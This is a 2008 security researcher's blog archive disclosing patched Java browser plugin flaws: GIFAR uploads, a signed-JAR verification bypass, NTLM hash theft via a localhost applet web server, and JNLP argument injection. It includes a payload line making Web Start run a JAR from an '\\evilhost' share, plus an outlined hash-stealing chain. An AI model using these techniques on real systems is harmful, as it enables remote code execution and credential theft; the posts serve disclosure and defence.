Saturday, 2 August 2008

On GIFARs

The Black Hat Briefings 2008 are fast approaching. As I mentioned in my previous post on stealing password hashes I am speaking with Nate McFeters and Rob Carter; you can find the abstract for our talk here.


One of the areas that we'll be talking about is some quality research carried out by Billy Rios (Billy was originally speaking due to speak with us but is no longer; he is giving his Bad Sushi talk though, so check it out). Billy realised that you can make a JAR archive look like a GIF image (dubbed a "GIFAR"), or in more general terms, that you can make a JAR look like many other file types. He is not alone in this observation; PDP has also been working on similar ideas. Now many websites allow you to upload specific types of content - images for example. Most web applications will check the extension of the uploaded files and many will also do some content inspection to make sure the file is what the extension says it is.


This means we can upload a JAR on to a publicly accessible page (e.g. a profile page). This has interesting implications. Suppose you end up running malicious content in your browser. Ordinarily it would not be able to fully interact with other websites you might be logged into (CSRF does not constitute full interaction); this is a tenet of the same origin policy implemented by all browsers. However what if the malicious content contains an APPLET tag that references the JAR file uploaded to the target site? The Java browser plugin sees a codebase URL of the target site and consequently adds a SocketPermission allowing the applet to connect back to it and make full requests.


But that is only part of the story. It turns out that when an applet makes an HTTP request to a website the Java browser plugin will slap on the relevant cookies from the browser cookie store (even if the applet is unsigned). This initially surprised me - as far as I can remember older versions of the JRE never supported this. A little digging into how this is accomplished in IE revealed there is a class, com.sun.deploy.net.cookie.IExplorerCookieHandler that contains the following native methods:



JNIEXPORT jstring JNICALL Java_com_sun_deploy_net_cookie_IExplorerCookieHandler_getCookieInfo
(JNIEnv *env, jobject sender, jstring url)

JNIEXPORT void JNICALL Java_com_sun_deploy_net_cookie_IExplorerCookieHandler_setCookieInfo
(JNIEnv *env, jobject, jstring url, jstring value)


These methods call the Wininet functions InternetGetCookie and InternetSetCookie respectively. Now if only there was a way of calling these functions with arbitrary URLs... (seriously I don't have one! At least I don't yet.)


So to summarise, once the malicious content references an applet on the target site, it can send arbitrary requests and parse the responses; if you are logged are, these requests will be made with your cookies, giving the applet full control of your account.


Billy's research is getting a fair amount of press (with some creative headlines) prompting Nate to make some further clarifications on his blog. In some of the articles that are appearing credit is wrongly being attributed to me/my employer/Nate/Black Hat hackers/those pesky kids/our new GIFAR overlords and so on, so I'm setting the record straight: this is Billy's baby.


Anyway, that's a brief summary of the issue. Hopefully I'll have time to put out another post before Black Hat. If not, hope to see you there.




Cheers

John

Wednesday, 9 July 2008

Time to update your JRE again

[ Edit: Brian Krebs of the Washington Post's Security Fix blog spoke to me about Java security. You can read his column here. ]


Sun have just released JRE Version 6 Update 7... which means 90% of desktops are currently at risk until they are upgraded!*. If you have the Java Update Scheduler enabled you should get prompted to update soon (depending on the update frequency you selected). If you want to be proactive, fire up the Java Control Panel, click on the Update tab then click on the Update Now button or head to http://www.java.com and download the binary directly.


According to Sun's Security Blog the latest update fixes 8 issues. I'll be releasing advisories and blogging on the issues that I had a hand in, namely:


    238666 Native code execution through malformed TrueType font headers in untrusted Java applet.

    238905 Multiple buffer overflows in Java Web Start JNLP handling

    238905 Security problems with the JRE family version support


If you're thinking the first two issues sound all too familiar, you'd be right. I previously discussed this font issue that led to execution of arbitrary code. And the JNLP parsing code has had a number of similar buffer overflows (details here, here and here) ... not so much "same bug, different app" (the theme of this Brett Moore presentation) as "same bug, same app!"


So perhaps the most interesting vulnerability is 238905, the JRE family version support issue. You may have noticed that JRE updates typically install alongside older versions so a given machine is likely to have several versions installed as noted by Brian Krebs. Prior to the introduction of Secure Static Versioning in JRE Version 5 update 6, it was possible for an applet to select the version of the JRE with which to run. Of course, a malicious applet could purposefully select an older vulnerable version in order to exploit known security flaws. Secure Static Versioning fixed this, however during my tests I was able to circumvent it and downgrade the browser's JRE. More on this in a future post.


I'll also be blogging on a couple of other issues Sun have recently fixed. There are no SunSolve entries for these since they turned out to be flaws in the interaction between Java Web Start and Sun's web servers when installing alternate versions of the JRE as specified in JNLP files. They ultimately allowed us to present bogus security dialogs to the user, duping them into installing an older version of the JRE. These issues serve as a reminder of the dangers of including user-supplied input in security-related dialog boxes.


So a few things in the pipeline; I haven't forgotten about part II of Stealing Password Hashes with Java and IE but it's a busy time and Black Hat is almost upon us so be patient :)



Cheers


John


* JavaOne Keynote, 2008 - 90% of desktops run Java SE. This is unsurprisingly slightly higher than Adobe's reckoning.

Saturday, 21 June 2008

A Different Form of JAR Hell

In my last post I used a Java applet to steal password hashes. Part two, covering NTLMv2, is on its way. Today however, I'm going to discuss SunSolve #233323 - a vulnerability that was fixed in the March updates to the JRE. Anyone who caught my ToorCon talk will have already heard me discuss this issue.


Java Web Start has provision for resources, signed JAR files that contain either Java classes or native libraries that can be cached for use by one or more applications. JARs containing Java classes are extracted as per the usual Java caching mechanism (i.e. written to disk using randomly generated names) whereas native libraries are extracted with their original filenames. Interestingly filenames can include parent path sequences (e.g. ..\..\..\..\test.txt). This means that "nativelibs" can be written outside the cache folder. But that's ok because nativelib resources need to be signed and therefore explicitly trusted by the user, right?


Not exactly. Take a look at the following code snippet, which resembles the vulnerable Java Web Start code, and see if you can spot the bypass (it's not exactly obvious):


try
{
// Open the JAR file specifying true to indicate
// we want to verify the JarFile is signed.
JarFile jf = new JarFile(UserSuppliedFile, true);

Enumeration e = jf.entries();
while (e.hasMoreElements())
{
ZipEntry ze = (ZipEntry) e.nextElement();
InputStream i = jf.getInputStream(ze);
byte b[] = new byte[i.available()];
i.read(b);

// Call our method to write the bytes
// to disk

WriteFileToDisk(ze.getName(), b);
}
}
catch (SecurityException se)
{
// Some sort of signature verification error
System.out.println("Security Error: " + se.toString());
}
catch (IOException ioe)
{
System.out.println("File Error: " + ioe.toString());
}


If you spotted the problem, well done! If not, here's a hint courtesy of an IBM article on signed JARs:


Each signer of a JAR is represented by a signature file with the extension .SF within the META-INF directory of the JAR file. The format of the file is similar to the manifest file -- a set of RFC-822 headers. As shown below, it consists of a main section, which includes information supplied by the signer but not specific to any particular JAR file entry, followed by a list of individual entries which also must be present in the manifest file. To validate a file from a signed JAR, a digest value in the signature file is compared against a digest calculated against the corresponding entry in the JAR file.


What if a file doesn't have a corresponding manifest entry? It turns out the above code will happily call WriteFileToDisk anyway and there'll be no exception thrown. We can use this bypass to append a file to a signed resource and have it drop a java.policy file in the user's home directory allowing applets and Web Start applications to do bad things.

Let's take a look at how the Jarsigner tool that ships with the JDK validates signed JARs. Jarsigner correctly detects JARs containing both signed and unsigned content:



The code snippet below shows the enumeration of ZipEntrys; it's taken from sun.security.tools.JarSigner:


Enumeration e = entriesVec.elements();

long now = System.currentTimeMillis();

while (e.hasMoreElements()) {
JarEntry je = (JarEntry) e.nextElement();
String name = je.getName();
CodeSigner[] signers = je.getCodeSigners();
boolean isSigned = (signers != null);
anySigned |= isSigned;
hasUnsignedEntry |= !je.isDirectory() && !isSigned
&& !signatureRelated(name);


The code retrieves the entry's CodeSigners; if there are none the entry is deemed unsigned.


As an aside, it's actually possible to fool Jarsigner. Take a look at the signatureRelated method, which is called above:


    /**
* signature-related files include:
* . META-INF/MANIFEST.MF
* . META-INF/SIG-*
* . META-INF/*.SF
* . META-INF/*.DSA
* . META-INF/*.RSA
*/
private boolean signatureRelated(String name) {
String ucName = name.toUpperCase();

if (ucName.equals(JarFile.MANIFEST_NAME) ||
ucName.equals(META_INF) ||
(ucName.startsWith(SIG_PREFIX) &&
ucName.indexOf("/") == ucName.lastIndexOf("/"))) {
return true;
}


Jarsigner ignores unsigned files that start with the prefix "META-INF/SIG-":



Anyway, back to the Web Start issue. Soon after discovering this bug I realised it was effectively moot for I hadn't seen any security dialogs even when working with fully signed JARs. It turned out there were none. Ever. You could simply even use a self-signed JAR! Still, it's a great example of a managed language providing a simple interface (JarFile) that masks a complex implementation; if the contract between the caller and the callee is not clearly defined (however simple the interface), developers can write insecure code without knowing it.


So that's it for now. There's also some interesting behaviour when loading applets containing signed and unsigned content but I'll save that for another day.



Cheers

John

p.s. In case you were wondering, JAR hell is Java's form of DLL hell.

Thursday, 5 June 2008

Stealing Password Hashes with Java and IE





Consider for a moment the state of client-side bugs 5 or 6 years ago. Attacks such as this, a multi-stage miscellany of IE and Mediaplayer bugs that resulted in the "silent delivery and installation of an executable on the target
computer, no client input other than viewing a web page" were reported with regularity. Gradually these type of attack gave way to exploitation of direct browser implementation flaws such as the IFRAME overflow and DHTML memory corruption flaws. So what has become of the multi-stage attacks - have they become redundant? The answer to this, which I'm sure you can guess, is a resounding "no" and will be emphatically demonstrated in my upcoming Black Hat talk "The Internet is Broken: Beyond Document.Cookie - Extreme Client Side Exploitation", a joint double session presentation co-presented by Billy Rios, Nate McFeters and Rob Carter.


As a teaser for that, I'm going to revisit an old attack - pre-computed dictionary attacks on NTLM - and discuss how we can steal domain credentials from the Internet with a bit of help from Java. I'm going to split it into two posts. In this post we'll apply the attack to Windows XP (a fully patched SP3 with IE7). In my next post we'll consider its impact on Windows Vista.


NTLM Fun and Games

The weaknesses of NTLM have long been understood (and documented and presented) so I'm not going to cover them in detail here. For the interested reader I recommend this L0phtCrack Technical Rant and Jesse Burn's presentation from SyScan 2004, NTLM Authentication Unsafe. The pre-computed dictionary attack on NTLM that we are interested in has also already been implemented in tools such as PokeHashBall. In a nutshell, this attack works as follows:


  1. Position yourself on the Intranet.

  2. Coerce a client, either actively or passively, into connecting to a service (such as SMB or a web server) on your machine.

  3. Request authentication and supply a pre-selected challenge.

  4. Capture the hashes from the NTLM type 3 message and crack them using rainbow tables or brute force.

A requirement of this attack is for the attacker to be located on the Intranet. There have been suggestions on how to remove this necessity; see this post for a discussion on DNS rebinding as a potential solution. Let's take a step back though and begin by reviewing IE's criteria for determining whether a site is located on the Intranet or the Internet:



By default, the Local Intranet zone contains all network connections that were established by using a Universal Naming Convention (UNC) path, and Web sites that bypass the proxy server or have names that do not include periods (for example, http://local), as long as they are not assigned to either the Restricted Sites or Trusted Sites zone


Let's focus on names that do not include periods. As Rob Carter has pointed out, there are more than a few home/corporate products that install web servers bound to localhost and since http://localhost meets the above criteria, XSS in these products let's us control content in the Local Intranet Zone. If we were therefore able to fully control a web server on the local machine, headers and all, and we were able to cause IE to connect to it, we could ask IE to authenticate allowing us to use a pre-selected challenge in order to carry out a pre-computed dictionary attack. But how does a malicious website run a web server on your machine? This is where the Java browser plugin comes into play...


A Web Server in Java

There is nothing to stop an unsigned Java applet from binding a port provided the port number is greater than 1024. The same origin policy, which I've discussed previously is enforced when the applets accepts() a connection from a client; only the host from which the applet was loaded is allowed to connect to the port. If a different host connects, a security exception is thrown, as shown below.



This means that if we can make the applet think it was loaded from localhost, we can bind a port and act as a web server, serving requests originating from localhost. I have previously covered two ways of manipulating the applet codebase (the verbatim protocol handler and defeating the same origin policy), but these flaws are now patched. We can accomplish the same effect on the most recent Java browser plugin by forcing content to be cached in a known location on the file system and by referencing it using the file:// protocol handler*. So if we know that our class was stored at c:\test.class for example, we could load it via the following APPLET tag (the default directory is the desktop hence the ..\..\..\):


<APPLET code="test" codebase="file:..\..\..\"></APPLET>


The result of loading content from the local machine is that a SocketPermission is added allowing the applet to bind a port and accept connections from localhost.


So this attack effectively boils down to caching content in a known location. The Java applet caching mechanism stores content at %UserProfile%\Application Data\Sun\Java\Deployment\cache (or equivalent under Protected Mode on Vista). Class files and JARs are given randomly generated names (and that's SecureRandom before you ask). There are, however, multiple ways of silently getting content onto the local machine with a fixed name. And thats all I'm going to say for now; we'll be addressing this topic further in our Black Hat talk :)


The Windows Firewall

What about the Windows firewall you may ask. The trick is to make sure we bind to 127.0.0.1 only as doing so will not trigger a security dialog. This is accomplished in Java as follows:


ServerSocket ss = new ServerSocket(port, 0, InetAddress.getByName("127.0.0.1"));


Actually it turns out that on Vista in order for our web server applet to work at all, we must call the ServerSocket(int port, int backlog, InetAddress bindAddr) constructor anyway rather than simply ServerSocket(int port). Calling ServerSocket(int port) will bind using IPv6 as well as IPv4; when we then point IE to http://localhost, it will connect to the IPv6 endpoint and throw the following exception:



The reason for this is that the Java code adds a SocketPermission for 127.0.0.1 which is obviously IPv4 only.


Putting it all together

The code for the web server applet is very simple. We needn't implement a full, multi-threaded web server; all we really need to do is send an HTTP/1.1 401 return code with a WWW-Authenticate header of NTLM in response to IE's first request. This will trigger the NTLM exchange of base-64 encoded messages. Since NTLM authenticates connections we must remember to send a Content-Length header (even if there's no content, i.e. Content-Length: 0) to ensure the connection stays open. There are several resources out there that provide detailed NTLM specs and examples. I used this one.


The HTML page that we use to tie the attack together consists of multiple hidden IFRAMEs: firstly to load the Java browser plugin and cache the content, then to launch the web server applet from file://, then to make a request to http://localhost. For my PoC I created a 2nd applet to display the progress of the attack and to allow me to easily copy and paste the hashes out of the browser; a sample capture is shown below. Obviously in a real attack we'd want to ship the hashes off the victim's box either via JavaScript or Java.



Once we have the hashes, we can use rainbow tables to crack the first 7 characters of the LM response or brute force via a password cracker that can handle captured NTLM exchanges, such as John the Ripper with this patch. We can then brute force the remainder of the password. For anyone interested in the approaches to cracking NTLM, I recommend warlord's Uninformed paper, Attacking NTLM with Precomputed Hashtables.



Summary

So to summarise the above, if a user on a domain joined XP machine with the Java browser plugin visits a malicious website with IE, the malicious website can steal their username, domain name and a challenge response pair in order to carry out a pre-computed dictionary attack, likely revealing the user's password in a short time.


Once again this is not a new attack - there are a good many tools that implement the well known NTLM attacks such as SMBRelay, ScoopLM and Cain & Abel. The delivery and execution of this attack, however, demonstrates that multi-stage client-side attacks are alive and well...


That's it for now. Next time we'll consider how this attack applies to Vista, which enforces the more secure NTLMv2 by default.




Cheers

John


*Note that unlike Flash, Java implements its own protocol handlers rather than relying on the browser's.

Thursday, 17 April 2008

And For My Next Trick...

One of the examples given in the "Attacking Application Logic" chapter of The Web Application Hacker's Handbook is entitled "Escaping from Escaping". The prelude to the attack is that the developer has to pass user-supplied input as a parameter to an OS command. Realising that meta-characters in the user data are dangerous, the dev sets out to escape them. The flaw is quite simply that the dev forgets to escape the escape character, thus the attacker can escape it in order to pass dangerous characters.


Today I'll show a real world example of this attack, a bug I reported to Sun that was recently patched in Sun Alert 233323. Firstly though, some background. Sun released Java Web Start in 2001 as means of one-click deployment of Java applications from the browser (the Java equivalent of .NET's ClickOnce technology). As Web Start applications run outside the browser, they can easily be made available to run offline. The security model enforced on applets still applies to Web Start - unsigned applications cannot interact with the filesystem and access to remote content is subject to the same origin policy.


The architecture of Web Start is interesting. Applications are installed and launched via XML-based JNLP configuration files. JNLP files open with javaws.exe, a native application, whose purpose is to parse the JNLP file and launch javaw.exe (i.e. invoke the JVM) with the correct class.


The JNLP parser has suffered a slew of buffer overflows which I may talk about in a future post. Its also had an argument injection vulnerability, found by Jouko Pynnonen. This could be triggered via the property tag of the JNLP file, which allows certain JVM properties to be set. These properties are passed on the command line to the javaw.exe process. Jouko gave the following example:


<property name="sun.java2d.noddraw" value="true HELLO" />


The property "sun.java2d.noddraw" is considered secure by Web Start (there's a list of the permitted properties in the spec); ultimately the startup command for the application became something like:


javaw.exe -Dsun.java2d.noddraw=true HELLO (other args) your.application


This issue was fixed way back in September 2004 by quoting the input and escaping the double quote character. But guess what wasn't escaped? By inserting an addition "/" into the argument, we can gobble up the escape character allowing us to insert an additional double quote, and thereby pass arbitrary arguments as before.


This vulnerability can be exploited in several ways. Perhaps the easiest is to create an SMB share with null credentials containing the payload Jar file, then reference it as follows in the JNLP:


<property name='http.agent' value='\" -jar \\evilhost\share\exploit.jar \"'/>


The resulting command line effectively boils down to: java -jar \\evilhost\share\exploit.jar with the rest of the line passed as arguments (which our payload can just ignore):


Arg 0: \
Arg 1: -Djnlpx.splashport=4741
Arg 2: -Djnlpx.jvm="C:\Program Files\Java\jre1.6.0_02\bin\javaw.exe"
Arg 3: com.sun.javaws.Main
Arg 4: C:\DOCUME~1\John\LOCALS~1\Temp\javaws114


Of course, this technique may not work if outbound SMB is blocked by a personal or corporate firewall (which is pretty likely these days). I will leave the other techniques for exploiting this as an exercise for the reader :) [Hint: explore ways of caching various type of content via the Java browser plugin]


So what lessons should we take from this affair?


For security researchers:


  • It's worth revisiting patches with the mentality that new code = new bugs. I am as guilty as anyone of not doing this - you send a bug off to a vendor, a while later they fix it and ship a patch, by then you're working on something completely different. History has shown us time and time again it can take more than one attempt to fix a bug (and that other bugs in nearby code may be missed if the code is not scrubbed).


For software vendors:


  • When a vulnerability report comes in, understand fully how the attacks work and review your fixes with a critical eye. Fixing code is an iterative process and should be done from both perspectives: defender and attacker (asking yourself at every step of the way, what new avenues of attacks have we just opened up?) For an example of a bug that dragged on way longer than it should have (due to flaws in the fixes) check out the section on the ExtProc saga in The Database Hacker's Handbook.


Anyway, this is just one of many Java flaws I will be discussing during my ToorCon talk this weekend. If you're not going to be there and you'd like a copy of my slides, drop me a note.


Cheers


John

Tuesday, 8 April 2008

Third Party Kill Bits

[Update: I was wrong... It seems Microsoft has previously released kill bits for for third party software. Thanks to Edi and David for notifying me of this; I've updated this post accordingly.]


Just a quick post today. Its the second Tuesday of the month which means its Patch Tuesday. Browsing over the bulletins, there are some interesting ones as always, but MS08-023 caught my eye in particular:


This update includes kill bits that will prevent the following ActiveX controls from being run in Internet Explorer:


Yahoo! has released a security bulletin and an update that addresses the vulnerability in Yahoo! Music Jukebox. Please see the security bulletin from Yahoo! for more information and download locations. This kill bit is being set at the request of the owner of the ActiveX control. The class identifiers (CLSIDs) for this ActiveX control are:


• {5f810afc-bb5f-4416-be63-e01dd117bd6c}


• {22fd7c0a-850c-4a53-9821-0b0915c96139}


Firstly, a recap. A kill bit is a registry setting that prevents an ActiveX control from being instantiated in Internet Explorer. Microsoft have used kill bits extensively over the last few years to mitigate security issues in their own controls; these have been pushed out via Windows Update. Other software vendors have also used kill bits but have had no unified means of pushing out updates. This has lead to a plethora of systray applications running constantly, checking for security updates. As annoying as these can be, the alternative, that the end user must periodically go and check for new updates is not a secure, scalable solution.


To my knowledge, Microsoft hasn't previously provided kill bits over Windows Update for third party controls that do not come bundled with the OS [not true, read this footnote]. This one is for Yahoo! Music Jukebox, and the Microsoft bulletin even links to the Yahoo! Bulletin.


Personally I think its a great idea for third parties to be able to have their kill bits pushed out over Windows Update. That said, I'd be interested in hearing some of the logistics of how this update came about - I'm hoping the Microsoft Security Response team will talk about this in the future. Some of the things I'm wondering are:


  • What is the process for a third party to request that Microsoft kill bit a control?

  • Can any company request their controls be kill bit-ted?

  • If not, what are the criteria?

  • How does Microsoft verify the company is who it says it is, and has permission to kill bit the control?

Anyway, thats it for now. I'll be continuing my analysis of last month's JRE vulnerabilities in a new post later this week.



Cheers

John


Important footnote: It turns out Microsoft has released third party kill bits as hotfixes on at least two previous occasions. MS06-067 provided kill bits for WinZip 10, fixing the CreateNewFolderFromName() issue and
MS07-027 did the same for Acer and RIM vulnerabilities. I suspect there are others in previous bulletins too. I would still be interested to hear how these companies went about coordinating the update with Microsoft though.

Thursday, 27 March 2008

Wake up and Smell the Coffee @ ToorCon

On April 19th I'm presenting at ToorCon in Seattle. My talk ("Wake up and smell the coffee: design flaws in the Java browser plugin") will be focused on some of the more interesting Java bugs I've found over the last few months, and how these can be exploited cross-browser, cross-platform and cross-architecture (making Java one of the scariest browser plugins there is, in my opinion). I haven't presented at ToorCon before (nor attended one for that matter) so I'm looking forward to it.


Of the talks already scheduled, several have caught my eye, including Richard Johnson's "Fast n Furious Transforms". Fourier Transforms and I were never the best of friends during my undergrad engineering degree but I always have time for cross-discipline approaches in security and Rich has given some great talks in the past (slides for which can be found here) so I will definitely be checking this one out.


I also noted that Adam Shostack is giving a talk entitled "SDL Threat Modeling: Past, Present and Future". Never was a truer word written than in the first line of his abstract: "Everyone thinks threat modeling is great, and then they encounter a formalized threat modeling process." I am looking forward to hearing his thoughts on the evolution of the SDL.


And finally, I'll get to see Nate McFeters discuss "URI Use and Abuse". Protocol handlers have provided a rich seam of vulnerabilities over the last few years and I hear Nate will be showing that things are likely to stay this way for a good while yet.


Anyway, if you're planning to go to ToorCon, drop me a line.




Cheers


John